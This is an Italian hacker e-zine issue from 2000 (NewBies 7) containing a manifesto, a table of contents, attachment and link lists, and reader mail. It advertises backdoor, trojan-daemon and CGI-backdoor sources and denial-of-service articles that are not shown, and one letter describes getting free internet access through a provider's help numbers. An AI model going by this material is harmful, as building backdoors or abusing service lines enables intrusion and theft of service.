Copy Link
Add to Bookmark
Report

NewBies 7

eZine's profile picture
Published in 
NewBies
 · 21 Aug 2019

  

/*
* @-,”ì'ì”,.,”ì'ì”,.,”ì'ì”,.,”ì'ì”,.,”ì'ì”,-@
* | _ _ ____ _ |
* | | \ | | _____ _| __ )(_) ___ ___ |
* -+- | \| |/ _ \ \ /\ / / _ \| |/ _ Y __|-+-
* : | |\ | __/\ V V /| |_) | | __|__ \ :
* | |_| \_|\___| \_/\_/ |____/|_|\___|___/ |
* @-,”ì'ì”,.,”ì'ì”,.,”ì'ì”,.,”ì'ì”,.,”ì'ì”,-@
*
*/


#include "allegati/disclaimer.h"
#include <yourmindio.h>

#define zine&date "NEW BIES (num 7) (24/11/Y2K/1:50A.M.)"
#define authors "Dante Alighieri & N0bodY88"
#define deds "Noborinooo mio senza di te NB non era NB"

FILE *NewBies.txt;
DEDICHE LEGALI
------------------------------------------------------------------------------
Il numba di questa zina è dedicato tutto al Nobacchione mio a cui spero di
poter andare presto a dare tanti bacini sul suo regal deretano :***.
A chi amo.
Anke tutti gli amiconi di #acaac #mahccc #fotografix tutti i Softpj, gli SPP,
AiS e tutti quelli a cui (come noi) piace perdere un pò di tempo per scrivere
2 cazzatine :))))

Dante Alighieri---NewBies StaFf
------------------------------------------------------------------------------

Dante Alighieri e NobodY88 in qualita' di redattori e responsabili del NB Staff
chiedono umilmente scusa ai loro lettori per la pubblicazione in allegato del
"manuale di C" avvenuta nello scorso numero.
Tale manuale non era opera di colui che sosteneva di averlo scritto, bensì di
F.Bernardotti il cui unico scopo era quello di una donazione volontaria per
la lotta contro l'AIDS.
Pertanto rinnoviamo le nostre scuse nella speranza che simili incovenienti
non accadano piu'.
Preghiamo in oltre tutti i lettori che si dovessero accorgere di altri casi
di "ripping" o simili di avvertirci immediatamente...
provvederemo all'immediata espulsione del soggetto dal NB Staff e se possibile
alla sua eliminazione fisica e/o digitale ;P.

NewBies Staff.

PREMESSA
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
Questa e-zine e' nata in una giornata qualsiasi di gennaio, mentre 2 newbies
stavano parlando tra loro in IRC di non mi ricordo cosa. Da quel fatidico
giorno la e-zine e' cresciuta, le persone che ho contattato x scrivere un
articolo mi hanno dato la loro disponibilita' e entro alcuni giorni mi hanno
fatto avere il loro operato. Alcune persone hanno fatto tardi x notti intere
(fra cui il sottoscritto) ed hanno sacrificato il loro tempo x creare qualcosa
che fosse nuovo, divertente, che ci facesse diventare + bravi, + amici, + uniti
e forse...beh...forse anche + famosi...hihihi! Questo e' quello che abbiamo
realizzato insieme, collaborando e scambiandoci opinioni. Se questa e-zine
non vi piace, e' troppo semplice o e' stupida non scriveteci (oppure scriveteci
x migliorare un art. della e-zine sfruttando le vostre conoscenze) ma se solo
sara' piaciuta ad una persona, se solo un ragazzo dopo aver letto questa avra'
deciso di passare a linux, di programmare in visual basic, di farsi una propria
backdoor o di mettersi a studiare come si usa telnet (troppo poco attrezzato di
voci nei menu x essere quello tanto decantato dovunque, ma anche troppo simpatico
con il suo prompt a mo di Commodore 64) allora questa e-zine sara' servita a
qualcosa. E ricordate...newbies si nasce, hacker si diventa.
Buona lettura ^__^ N0bodY88-ooo
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

INTRODUZIONE by Dante Alighieri

Sputo fuori qualcosa che mi e' maturato dentro.
Durante il corso della storia il nostro mondo e' stato sconvolto da catasrofi
e rivoluzioni radicali che hanno di colpo soppiantato i precedenti stati, e'
la lagge del progresso. Per poter progredire non si puo' far altro che
distruggere, abbattere tutto di colpo, e soppiantare con il nuovo. Lo hanno
capito i rivoluzionari del '68, lo hanno capito i jap che ogni 10 anni abbattono
tutti i palazzi e li ricostruiscono, lo hanno capito tutti i rivoluzionari del
mondo. Le persone che danno vita al progresso la pensano in modo diverso, si
differenziano dalla massa, ma son pochi, e per affermare le loro idee son
costretti a lottare, a nascondersi, ma lo fanno per la societa'. Quando mi
ritrovo a discutere con la gente ed inevitabilmente critico le grandi societa'
che tentano di monopolizzare la nostra terra, c'e' sempre qualcuno che mi dice:
se non fosse per loro, tu non avresti il computer, non ci sarebbe sviluppo.
Ma cosa CAXXO intendete per sviluppo??? forse lo sviluppo delle grandi societa'!
forse lo sviluppo dei loro capitali! non del popolo, non nostro...
e' un regresso che ci viene spacciato per progresso. Se un giorno, come loro
vogliono, dovessimo pensare tutti in egual modo, non ci sarebbe differnziazione,
il "progresso" sarebbe gestito da loro, nella direzione in cui loro vogliono.
Non fatevi gettare fumo negli occhi, non fatevi pilotare.
Il nostro movimento non e' dettato dalla semplice curiosita', e' istinto di
sopravvivenza, e' il nostro animo che si ribella, che lotta contro chi cerca
di ostacolare o prendere il posto della natura. Non intendo proclamarci eroi,
non voglio affermare di essere uno di coloro che cambiera' il mondo, siamo
solo uno dei tanti strumenti della natura ed in quanto tale siamo una forza
inarrestabile. "Anche se riuscirete a fermare me, non riuscirete mai a fermarci
tutti"
, recitava un famoso manifesto, ed io aggiungo: solo, sono un timido
venticello, insieme siamo una tempesta.

ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

ÉÍÍÍÍÍÍÍÍÍÍÍÍËÍËÍËÍËÍËÍËÍËÍËÍËÍËÍËÍËÍËÍËÍËÍËÍËÍËÍËÍËÍËÍËÍËÍËÍËÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º ARTICOLO ÌÍÎÍÎÍÎÍÎÍÎÍÎÍÎÍÎÍÎÍÎÍÎÍÎÍÎÍÎÍÎÍÎÍÎÍÎÍÎÍÎÍÎÍÎÍÎ͹ AUTORE º
ÌÍÍÍÍÍÍÍÍÍÍÍÍÊÍÊÍÊÍÊÍÊÍÊÍÊÍÊÍÊÍÊÍÊÍÊÍÊÍÊÍÊÍÊÍÊÍÊÍÊÍÊÍÊÍÊÍÊÍÊÍÊÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͹
|PREMESSA N0bodY88-ooo |
|INTRODUZIONE DanteAlighieri |
|INFO SUGLI ALLEGATI DanteAlighieri |
|LA POSTA DEL FRATELLO NOBO! ;) N0bodY88-ooo |
|HACKING NewBies Staff |
³Double Dragon Backdoor tHE rECIdjVO ³
³Fileutils Backdoor DanteAlighieri ³
³Daemon TROIO DeViLNeT ³
³Double Dragon Backdoor SFE tHE rECIdjVO ³
³BacK-d00r CgI DarK-Elf ³
|LINUX NewBiesStaff |
³Smurf Fraggle ???? ³
³Mettiamo un lukketto ad X :) SoSpIrO ³
³Fate "ciao ciao" con la manina a kppp DeViLNeT ³
³Una rete Linux Server - Windows Client DeViLNeT ³
|PROGRAMMAZIONE NewBiesStaff |
³WinGate Connector (ci mancava=) tHE rECIdjVO ³
³Impariamo il Tcl/tk lameggiando un po' Bakunin ³
³Costruire un server unix compatibile col telnet di windows tHE rECIdjVO ³
|TEORIA NewBies Staff |
³PThreaD Tutorial (R)ipley ³
³IProute2 [-ElViS-] ³
|CRACKING (?) NewBies Staff |
|Webcracker 4.0 The DISO ³
|PHREAKING NewBies Staff |
³Nuove FoTo by TbA (allegati) TbA ³
|ELETTRONICA & MASTERIZZAZIONE NewBies Staff |
³Rilevatore di microspie [Telecoz] ³
³Masterizzare che passione! korg ³
³uN CD-RoM CoN CDRWin 3.7C NiTrO ³
³ByPaSSing CdRoM pRoTeCtIon korg ³
³HACKING DI TUTTO DI PIU' E DIVERSI ART. MOLTO INTERESSANTI NewBies Staff |
³LinkZ (allegato) DanteAlighieri ³
|DIVERTIMENTO CAZZATE SVAGO E QUANTO È O NON È POSSIBILE NewBies Staff |
³Piccola Lezione iniziale di IPNOSI e AUTOIPNOSI smav ³
³LA SCUOLA TI ROMPE? ROMPI LA SCUOLA ???? ³
|SALUTI NewBies Staff |
|THIS NUMBA IS DEDICATED BY N0bodY88-ooo & DanteAlighieri To: OurSeLf! |
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ


ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³ RIEPILOGO LINK IN ORDINE ALFABETICO ³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

[ Anarchy in the system ---------------------------> http://aisprod.tsx.org ]
[ Ask Bub ------------------------------------------> http://www.askbub.com ]
[ Attila Hack ------------------------------> http://www.attilahack.cjb.net ]
[ Crypto -----------------------------------------------> http://kz.cjb.net ]
[ BFI ------------------------------------------> http://www.s0ftpj.org/bfi ]
[ Deandreis --------------------------------------> http://www.deandreis.it ]
[ Dislessici -----------------------------------> http://www.dislessici.org ]
[ Lord Guf --------------------------------------------> http://guf.cjb.net ]
[ Metro Olografix -------------------------------> http://www.olografix.org ]
[ NetRunners -----------------> http://www.spippolatori.com/h/netrunner.htm ]
[ Packet Knights Crew ------------------------------> http://www.pkcrew.org ]
[ Polizia --> http://www.poliziastato.it/informatica/6%20-%20Operazioni.htm ]
[ Quequero ---------------------------------------> http://quequero.cjb.net ]
[ Come Mai l'Url Di Quequerino sotto quello della polizia?! ----> ahhahahah ]
[ RFC (sito dove le potete trovare) ------------> http://www.faqs.org/rfcs/ ]
[ RingZ3rO ---------------------------------------> http://ringzer0.cjb.net ]
[ RouterSimulator -------------------------> http://www.routersimulator.com ]
[ Softpj -------------------------------------------> http://www.s0ftpj.org ]
[ SoftWord -----------------------------------> http://softword.webjump.com ]
[ Spaghetti Phreakers -----------------> http://come.to/spaghettiphreakers/ ]
[ Spippolatori -------------------------------> http://www.spippolatori.com ]
[ T0rment0 -------------------------------> http://web.interpuntonet.it/xj/ ]
[ Vana - Imago -----------------> http://members.xoom.com/eripper/index.htm ]
[ Valvoline -------------------------------------> http://valvoline.cjb.net ]
[ Wannabe ----------------------------------> http://www.attilahack.cjb.net ]

NOTA DI DanteAlighieri = Volete che il vostro URL sia in questa lista?
no prob here...mailateci e lo inseriremo :)

ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
²°°°°°°°°°°°°°°°°°°ÛÛ°°°°ÛÛ°°°°ÛÛÛÛ°°ÛÛÛÛÛÛÛ°°°°°°°°ÛÛÛÛÛÛÛÛÛÛÛÛÛ°Û°°°°°°°°°°²
²°°°°°°°°°°°ÛÛÛ°°°°ÛÛ°°°°ÛÛ°°°°ÛÛ°°°°ÛÛ°°°°°°°°°ÛÛÛ°°°°°°ÛÛÛ°°°°°°°°°°°°°°°°°²
²°°°°°°°°°°ÛÛ²ÛÛ°°°ÛÛ°°°°ÛÛ°°°°ÛÛÛÛ°°ÛÛ°ÛÛÛÛ°°°ÛÛ²ÛÛ°°°°°ÛÛÛ°°°°ÛÛÛ°°°°°°°°°°²
²°°°°°°°°°ÛÛÛÛÛÛÛ°°ÛÛ°°°°ÛÛ°°°°ÛÛ°°°°ÛÛ°°°ÛÛ°°ÛÛÛÛÛÛÛ°°°°ÛÛÛ°°°°ÛÛÛ°°°°°°°°°°²
²°°°°°°°°ÛÛ°°°°°ÛÛ°ÛÛÛÛÛ°ÛÛÛÛÛ°ÛÛÛÛ°°ÛÛÛÛÛÛÛ°ÛÛ°°°°°ÛÛ°°°ÛÛÛ°°°°ÛÛÛ°°°°°°°°°°²
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
2 PAROLACCE SUGLI ALLEGATI :Pp

Dante Alighieri

- DeVdaemon.c Sorgentino di demone TroJano universale by DeViLNeT
leggete l'articolo per comprendere meglio :)

- wgc.c WinGate Connector by tHE rECIdjVO
anonymous datapipe that uses WinGate addresses

- Linkz Serie di linkz a siti correlati by Dant'inculo Alighieri

- ddb.tar.gz Double Dragon Backdoor by tHE rECIdjVO

- pthread.tar.gz Esempi correlati all'articolo di (R)ipLey sui PThreaD

- rootilities.tar.gz Sorgenti di utilities sempre utili codate da tHE rECIdjVO

- disclaimer.h Libreria sempre utile in questi casi ;)

- Foto Telecum® by TbA

- bd-cgi.c Back-d00r CgI by DarK-Elf

- ddb-sfe.tar.gz Double Dragon Backdoor Speciaf Firewall Edition by tHE rECIdjVO

- tcltk.tar.gz Manuale sulle tcl/tk di Bakunin

DMMMM MMMM AAAA III LLL
3MMMMM MMMMM AAAAAA III LLL
DMMMMMM MMMMMM AAAAAAAA III LLL
2MMMM MMMMM MMMM AAAA AAAA III LLL
5MMMM MMM MMMM AAAA AAAA III LLL
MMMMM MMMM AAAAAAAAAAAAAA III LLL
4MMMM MMMM AAAA AAAA III LLL
vMMMM MMMM AAAA AAAA III LLLLLLLLLL OF n0body88@freemail.it

Salve a tutti innanzitutto mi vorrei scusare con tutti x il fatto che a
causa del lavoro e di impegni di diversa natura ho avuto poco tempo ultimamente
per dedicarmi a NewBies e per questo ringrazio la mia dolce meta' Dantuzzo,
che per questo numero ha fatto tutto da solo o quasi, o almeno io non l'ho
aiutato purtroppo quindi o s'e' fatto il mazzo oppure ha lavorato con qualcuno
quindi un grazie 1000 a Dante :D. Ora siccome il tempo e' quello che e' ho
deciso di curare per la prima volta da quando c'e' NewBies, una sezione delle
mail arrevatemi x NewBies, cosi' potro' raggiungere piu' persone dando le
risposte qui, sperando di chiarire non pochi dubbi e di farvi pure fare qualke
..risata eheheh ;) Ok si comincia:

Da: Davide
A: n0body88@freemail.it

ciao nobody,sono davide,un ragazzo che ha cominciato ad entrare nel mondo
degli hacker. ho letto molte vostre e-zine e mi sono piaciute;l'articolo che
mi ha colpito e' stato quello dell'uomo che era stato messo in carcere x
essere entrato in computer importanti.spero che tu legga questa e-mail e
mi dia dei consigli,da dove cominciare.
ciao

Caro Davide come redattore di NewBies e conoscente di piu' o meno molte storie
simili o quasi a quella da te citata sappi che se il tuo scopo e' finire
in galera x aver bucato chissachecosa allora qui non troverai nessun aiuto
xche' noi ci battiamo per diffondere anke quel poco di conoscenza di cui noi
disponiamo e quindi il ns scopo (cosi' come dovrebbe essere il tuo) e' di
conoscere, il piu' possibile, in piu' campi possibili, ma non di certo per
potere dire "Io sono" o "Io so" ma semplicemente per non farsi fregare da chi
pensa che installando un firewall si sia sicuri, o che usando Windows si usa
l'unico SO decente. Andiamo avanti se no finisco x finire un'altra volta sul
manifesto di Mentor...
------------------------------------------------------------------------------
Da: ROOTto
A: NoBody <n0body88@freemail.it>

Ciao

N0bodY88 sono uno sporco lamah che per il momento si limita a leggere
NewBies e provare qualkosina su linux. Non sono un hacker ne mai lo
diventero' pero' e' fastidioso sentire parlare di hacker invece si pensa ai
cracker.
Ho deciso di mandare una e-mail (ancora non l'ho fatto attendo te :-) ad
inter.net in cui mi sfogo. In questa mail ho incluso la traduzione fatta da
x-h4ck3r del Manifesto di Mentor. Non avendo trovato l'indirz e-mail di
x-h4ck3r chiedo a te se posso utilizzare nel mio sfogo tale traduzione
del manifesto.
Complimenti per l'e-zine e' la + indicata a chi kome me e' all'inzio a quando
il prossimo num ?

ROOTto

Allora prima di tutto saluto X-Hacker mio fratellino Spp che spero di conoscere
prima o poi in irl, dopodiche'...certo che puoi usarlo! Tutto puo' essere
preso da NewBies come ho sempre detto solamente non dimenticate di mettere la
fonte x correttezza di chi si e' sbattuto x creare qualcosa (di giusto non so
ma che c si sbatte quello e' certo :D ). Per quanto riguarda i mass media non
badarci, Dj Gruff direbbe, i sucker rimarranno per sempre sucker...
------------------------------------------------------------------------------
Da: Anonimo
A: nobody88

ciaooo nobo',
come va?? Tu molto probabilmente non mi conosci (anzi sicuramente...abbiamo
chattato solamente una volta su irc) ma io ti conosco abbastanza bene :) Ti
scrivo per complimentarmi con te x la stupenda Ezine che state pubblicando
anche se ho da farti un appunto: la rivista e' splendida, i contenuti vanno
benissimo x uno come me che si sta avvicinando piano piano al mondo
dell'hacking, ma secondo me passa troppo tempo tra l'uscita di un numero ed
un altro. Puo' darsi che ci sia + lavoro di quanto mi aspetti alle spalle ma
se riusciste a mandarla "on-line" + spesso sarebbe meglio.... nel frattempo
io leggo e rileggo all'infinito i numeri gia' usciti.

Aspettando Newbies 6.......

ByeZzz

Eccolo qui NewBies 6...avevi dubbi? :Ppppppppp cmq il fatto e' che NewBies e'
nata da me e Zerocool ed e' portata avanti tuttora Da Dantuzzo e me come una
semplice passione, non un lavoro e quindi nasce dal tempo sacrificato non solo
da noi due ma da tutti gli scrittori, il cui numero non fa di certo andare in
overflow i ns buffer ;) Avanti un'altro...
------------------------------------------------------------------------------
Da: Pasqus
A: <n0body88@freemail.it>

Ciao n0body88 io sono un aspirante hacker e mi sto cimentando nel
reperire informazioni su alcuni utenti tanto per tenermi in allenamento.
Un mio amico hacker mi ha detto di andare su www.astalavista.com dove
avrei trovato informazioni sull'hacking ma io ho trovato solo
informazioni in inglese. Non e' che tu potresti consigliarmi qualche
sito sull' hacking.
Da internet mi sono scaricato cyberkit (una raccolta di programmi).
Un saluto particolare da un futuro hacker (spero) Scheletrum.
Rispondimi alla E-Mail pasqus@***.it (se sai un modo per modificare
il proprio indirizzo E-Mail dimmelo visto che a me fa cagare).

Ti rispondo solo questo:
www.spippolatori.com
www.s0ftpj.org
www.linux.it
www.deandreis.it
neworder.box.sk
packetstorm.securify.com
www.securityfocus.com
www.technotronic.com
ftp.technotronic.com
docs.riner.ru
Quando hai letto tutto quello che c'e' da leggere su questi siti, e l'hai
capito (soprattutto), allora vedrai che avrai preso due piccioni con una fava,
avrai imparato l'inglese..e forse anke qualcosina di hacking!
------------------------------------------------------------------------------
Da: Anonimo
A: nobody88

io vorrei sapere come posso fare per crakkare un
programma??????????????????????????????????? o un gioco??????
????????????????????????? io vorrei diventare un vero e
proprio hacker ma prima ho bisogno di tanti consigli.
ti prego rispondi.

Ti consiglio di leggere il piu' possbibile, sperimentare piu' che puoi, e
soprattutto di non sentirti dio appena sai fare qualcosa, xche' la conoscenza
la puoi apprendere, un carattere di merda invece e' difficile levarselo ;)
E cmq anke volendo e avendo tutto il tempo possibile, non posso portarti x la
via, posso solo indicarti dove imboccarla...
------------------------------------------------------------------------------
Da: Capotribu <capo@technologist.com>
A: n0body88@freemail.it
Subject: Segnalazione Crew

Ciao,

volevo segnalarti l'URL del nostro sito in modo da aggiungerla
all'elenco su NewBies (tra l'altro due membri hanno anche pubblicato del
materiale su NewBies6: CyRaX e Fake)
E' nella signature.

A presto e grazie :-)

Capotribu
http://www.programmazione.it/knights Packets Knights Member
capo@technologist.com

(e' cambiato porkou2.. ora e' www.pkcrew.org ;P by Dantuz)

Beh che dire ragazzi: e' un sito che spacca eccome :D e il gruppo ancora di
piu'... sono i tipici ragazzi che a 5 anni codavano in asm sotto linux con una
benda sugli occhi e mentre si sparavano una s....ehm ecco dai diciamo solo che
sono bravi ;) Un salutone speciale ai bros Fake, Cyrax e recidjvo, che sanno
talmente bene il c da pensare di riscrivere a modo loro IL LINGUAGGIO C di
Kerningan e Ritchie ;) hihihi ciauxx brosssssss
------------------------------------------------------------------------------
Da: ic3man
A: n0body88@freemail.it

ciao,volevo sapere se la mitica NEWBIES si e' fermata al numero 5 o se ne
sono uscite altre ed in questo caso dove posso trovarle.

grazie di tutto!!!!!ti saro' sempre riconoscente!!!!
ciao!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

Mhmm...secondo te? :Ppp
------------------------------------------------------------------------------
Da: andreagrip
A: <n0body88@freemail.it>

Ciao,
sono un lettore della tua e-zine e devo farvi i complimenti perche' trattate
molti argomenti in maniera specifica e ampliando notevolmente discorsi
interessanti.
Ma veniamo al motivo della mia mail (che fa caldo e ti vedo gia' un po'
scazzato a leggere 'sta mail); un po' di tempo fa mi sono registrato al
servizio di free internet di ALTAVISTA "Free&Fast" tanto per provare un po'
se era cosi' veloce come molti dicevano. Arrivato ad un certo punto della
registrazione cosa mi vedo ???
Orcucan, vedo che ci sono 2 numeri ("i famigerati GREENZ") a cui ci si puo'
attaccare col modem (praticamente ti colleghi ma puoi navigare solo sul sito
di altavista in previsione che tu cerchi delle info riguardanti il tuo
abbonamento o help vari).
Potrebbe esserci l'eventualita' che un sysoppo del cavolo abbia lasciato uno
spiraglio per la rete ???
Nei primi giorni che stavo testando l'abbo ho deciso di provare i 2 GREENZ e
vedere se c'era una porta da cui uscire per andare a fare un giro free&fast
per la rete, beh, sono riuscito a collegarmi a ftp.tripod.it e uploadare il
mio sito !!! Ho cosi' uploadato 5 Mb (in 30 min., neanche tanto lento per un
56k,dai...) totally FREE !!!

Siccome sono un Newby (ma sto leggendo tantissimo e provando... provando...)
mi chiedevo se voi della krew possiate utilizzare queste info per scoprire
qualcosa di internettante...

- aBOUT:
i numeri GREENZ sono questi:
800900126
800900134

-iNFO:
per registrarsi al servizio Free&Fast (powered by W1N|)):
http://www.altavista.it/free/index.jsp

Ciao, spero che cio' possa essere utile (anche magari per la e-zine...)
-=|[5n1p3R]|=- 2000
http://digilander.iol.it/snipercrew

Ho pubblicato questa mail solo xche' i green non sono nascosti ma in bella
vista sul sito famigerato...vedete voi se farne qualcosa o no di queste info
cmq in ogni caso tnx a 5n1p3R.
------------------------------------------------------------------------------
Da: Taleco
A: <n0body88@freemail.it>

Ciao sono Alessandro e volevo chiederti qualcosa sul 1ø numero del newbies!!!
Dante Alighieri ha scritto un articolo "Cambio i nomi e te lo metto in culo"
Per far funzionare questo metodo servono Win 32/16 Dasm e Hiew! Qui dice
reperibili in rete, ma dove cazzo li trovo, se cerco 32/16 dasm mi esce
qualche 50 siti di linux, io ho windowz!
Ho scritto a te perche' non trovo l'email di Dante
Puoi rispondere a taleco@ciaoweb.it

Dantuz@freemail.it Dante :PPppppppppppppppp hihihihi a parte gli scherzi
devi cercare wdasm e vedrai che lo troverai subito, e cmq ti consiglio di
farti un giretto sul sito del mio bludbro Quequero a www.uic-spippolatori.com
e vedrai che c'e' tutto e forse anke di piu' :D Gia' che ci sono salutoni
a Quequero e a tutta la uic (ps: quando e' che si bigia i corsi e si va tutti
insieme a fumare come dannati al parco??? mah questi hackari....drogati si'..
ma di computer!!!).
-------------------------------------------------------------------------------
Da: [Jimmy]
A: <n0body88@freemail.it>

Ciao,
mi chiamo [Jimmy] e leggo Newbies.
Ho notato che mai e' stato affrontato
nella e-zine un argomento abbastanza importante:
la programmazione della shell Unix.
Io, pur non essendo assolutamente un esperto,
potrei dare il mio umile contributo.
Fammi sapere se l'idea interessa

Ciao

[Jimmy]

E me lo domandi??? Certo che si'! Spero che questo serva...d'ora in poi non
domandatemi se farlo o no...fatelo e poi mandatemelo..che a parte "Come far
godere una donna con la lingua in 20 modi diversi"
di un old bro e "Come
hackerare il 66,6% dei redattori di NewBies"
di Smav non vedo altri articoli
che non potrebbero vedere la luce su NewBies ;) hihihihi :Ppp
( :* dedicated to the wonderful smav :*********************** )
------------------------------------------------------------------------------
Da: }4NG3L0{
A: n0body88@freemail.it

..il cielo si skuarcio' e da un lampo di luce accecante sfreccio' via un
ssogno...
Mi presento sono }4NG3L0{, sono un newbie.
Ho skritto per 2 semplici motivi:
1) avrei bisogno di sapere se tu conosci altri newbie che vivono a Torino o
dintorni perche' ho urgente bisogno di mettermi in contatto con qualcuno
che abbia la mia stessa passione per... il sapere
2) voglio farti sapere la mia disponibilita' a partecipare all' e-zine,
(sempre che ce ne sia bisogno), le mie conoscenze non sono quelle di
un'hacker ma me la cavo abbastanza

Ti saluto facendo i complimenti a te e a tutto lo staff per l'ottimo lavoro
svolto... ti prego di rispondermi soprattutto riguardo al punto 1.

..vola alto tra le nuvole, e' scuro, freddo e veloce... e' un'angelo
nnero.

>>>>>> }4NG3L0{ <<<<<<
d4rk4ng3l@libero.it

Non serve a nulla dire potrei scrivere, cominciate a far vedere che avete
voglia di buttar giu' qualcosa e mandatecelo, poi potrete sollazzarvi col
sullaz (Xunil e Valerio rulezzz).
---------------------------------------------------------------------------------
Da: VALERIO
A: 'Nobody88' <n0body88@freemail.it>

ehm.non.so'.come.iniziare-sta'.lettera
cmq.ciao.sono.valerio...
uno.dei.tanti.che.ti.scrivono

volevo.complimentarti.con.te.....cazzo.6.-un.grandeeee
> 1.72 cm
sai..mi.piacerebbe.sapere.tutte.le.cose.che.sai.tu
> mhmmh ci metti 2 mesi +o-
infatti..mi.sto'.avvicinando.all'universo.h4ck...
>quando lo raggiungi mandami na cartolina che io nin lo ho ancora trovato..
pero'.non.sono.ne'.h4ack.ne.pre-h4ack..ne.n3wb13
>io so newbies e me ne vanto invece :PPPpppppp hihihi
infatti.l'unico.modo.per.sentirmi.tale...eh.sai.fare.tutte.quelle.stronzate
che.-fanno.quelli.che.non.sanno.neanche.cosa.vuol.dire..nuke,smurf,e.altre.
robe.del.genere
intendiamoci..sono.un.l4m3r.del.cazzo!
>ecco l'hai detto :P
ma..forse.anche.questa.parola.non.e'.adatta.perche'.non.riesco.nemmeno.be=
ne.a.settare.il.firecaz..e.a.usare.il.B.O.
cacchio.che.sfigato.che.sono....
>una giornata no capita a tutti...ma soprattutto CHE CAZ CI TROVI A SCRIVERE
>CON QUESTI BIIIIIIIIIIPDI PUNTINI IN MEZZO??????????
ho.letto.la.vostra.rivista...ma.riesco.a.capire"poche.cose.di.pochi.articoli"
>meglio che non capire nulla...li sarebbe un problema =)
quindi...niente,.non.so'.come.potrei.fare.a......apprendere?
>studiando?
mi.rompo.di.usare.il.looksharp.e.non.sapere.nemmeno.quello.che.faccio
forse.e'.un.po'.troppo.tardi...ho.17.anni.
>io ne ho 20 e ho avuto il primo pc a 17...
ma.mi.piacerebbe.veramente....
ma.devo.iniziare.da.0......anzi.da..1...almeno.ho.imparato.una.cosa.legge=
ndo.la.rivista:
lamer=merda
>naaaa semplicemente lamer=ignoranza
mi.consigli.qualcosa?
>psicofarmaci x la depressione, una donna x passare il tempo, un buon manuale
>di linux x imparare e due dosi di marjuana, poi mischiare il tutto e lasciare
>in forno finche' non prende quel colorito color hackaro... hihihi a parte gli
>scherzi...smettila di darti addosso e credi un po' in te, solo cosi' ne esci...
------------------------------------------------------------------------------
Da: x *
A: n0body88@freemail.it

Salve,
innanzitutto voglio ringraziare tutti voi per quello che state
facendo...siete fantastici!!! Siete riusciti a farmi appassionare a questo
entusiasmante mondo...
> lieti di esserci riusciti :D
Comunque veniamo al dunque, dato che il mio obiettivo nno e' quello di farvi
perdere tempo:
Avrei bisogno di chiarimenti riguardo all'argomento "cracking" ed in
particolar modo riguardo alla "sostituzione dei jumps"! Ho seguito alla
lettera le istruzioni...ma niente da fare. Il problema e': se non mi trovo di
fronte ad un jump che ha come primi due numeri 75...(da sostiruire con il
74) come devo comportarmi? Nel numero uno della vostra dispensa e' stata
stilata una lista di tutti i possibili jumps che si possono incontrare ma
non ho ancora capito come si utilizza!
P.S. voglio precisare che sono riuscito a leggere fino a questo momento solo
i primi 2 numeri...per mancanza di tempo. Quindi se dovessi aver fatto una
richiesta inopportuna, causata insomma da una mia mancanza, vi prego di
scusarmi...e vi assicuro che continuero' a seguirvi!!! (nonostante la mia
incredibile ed abissale impreparazione negli argomenti da voi
trattati....=non sempre capisco o riesco a seguire i vostri articoli..ma
credo sia normale!)
Spero di ricevere una risposta al piu' presto!
Grazie.

>Un solo universale consiglio. www.uic-spippolatori.com Leggiti tutto e poi
vedrai che parlerai ai tuoi in esadecimale...hihihi (que gia' lo fa cmq!!!)
------------------------------------------------------------------------------
Da: syscalo
A: n0body88@freemail.it
